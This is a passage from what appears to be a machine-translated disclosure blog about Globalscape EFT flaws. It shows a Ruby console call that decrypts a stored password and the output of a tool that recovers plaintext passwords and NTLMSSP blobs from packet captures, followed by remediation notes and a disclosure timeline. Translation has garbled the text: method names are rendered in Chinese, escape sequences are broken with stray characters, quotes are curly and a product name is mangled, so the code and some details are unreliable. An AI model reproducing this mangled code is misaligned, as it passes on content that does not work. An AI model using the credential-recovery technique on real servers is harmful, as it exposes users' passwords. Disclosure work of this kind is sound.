3.0.2 :004 > puts (tf.解密("\ \ x86 \ x40 x71 \ xde \ xd2 \ xea \ x9e \ x12 \ xd5 \机加区\ x64 \ xc4 \ \ x18 \ x40 x04 \中\ xc1之前\ (\ x78 \ xb3 \ x9e \ . xc6 \ x4a \ x57 \ . xc6 \ x1d \ xb6 \ x8d \ x49 \ x24 \ x0b \ x8b") + "\0").force_encoding(“UTF-16LE”).编码(“ASCII-8BIT”)
Password1!

We use force_encoding () and encode 将UTF-16转换为ASCII.

为了演示其影响,我们编写了一个工具,可以从PCAP文件中解密密码:

$ ruby recovery -pw.rb all-login-types.pcapng
找到登录:ron / MyWindowsPassword (type = "Windows身份验证")
找到登录:ron / Password1! (type = "Windows身份验证")
找到登录:ron / testtest (type = "EFT认证")
找到登录:ron / Password1! (type = "EFT认证")
找到登录:WIN-PV9OH13IIUB\Administrator / ******** (type = "当前登录用户")
 NTLMSSP blob: ["400000004e544c4d535350000100000007b208a209000900370000000f000f00280000000a007c4f0000000f57494e2d5056394f48313349495542574f524b47524f5550"]
找到登录:WIN-PV9OH13IIUB\Administrator / ******** (type = "当前登录用户")
 NTLMSSP blob: [" 580000004e544c4d53535000030000000000000058000000000000005800000000000000580000000000000000005800000000000000000005c288a20a007c4f0000000fc336e05c920cada6821fe04d5709b868 "]

注意,NTLM登录使用文字密码 ********,还包括一个附加的NTLMSSP blob,其中包含实际的身份验证细节.

Remediation

这些问题在Fortra Globalscape版本8中得到了修复.1.0.16. 我们认为这些不需要紧急补丁, 但是由于最终的结果是远程代码执行, 它们应该在下一个计划的补丁周期中进行修补.

Rapid7客户

InsightVM和expose的客户可以在6月22日发布的内容中使用经过验证的漏洞检查来评估他们对cve的暴露.

Timeline

  • 2023年4月- Rapid7开始研究Globalscape EFT
  • 2023年5月10日:Rapid7向供应商报告问题
  • 2023年5月10日:供应商确认
  • 2023年5月24日:供应商确认了这些问题
  • 2023年5月26日:Rapid7储备cve
  • 2023年5月26日- 6月1日:供应商和Rapid7澄清更多细节
  • June 13, 2023年:Rapid7要求供应商更新补丁ETA, 建议将7月11日定为协调披露日期. 由于一个小小的误解,Rapid7发现供应商已经发布了修复程序和KBs. 供应商自愿将KBs下线,而Rapid7准备我们自己的披露. 最初,Rapid7同意这一点.
  • June 14, 2023年:Rapid7要求供应商重新发布其知识库,以提高透明度和有效的风险评估,同时Rapid7准备此披露
  • 2023年6月20日-供应商通知Rapid7他们的KBs已经重新发布
  • 2023年6月22日- Rapid7发布此披露博客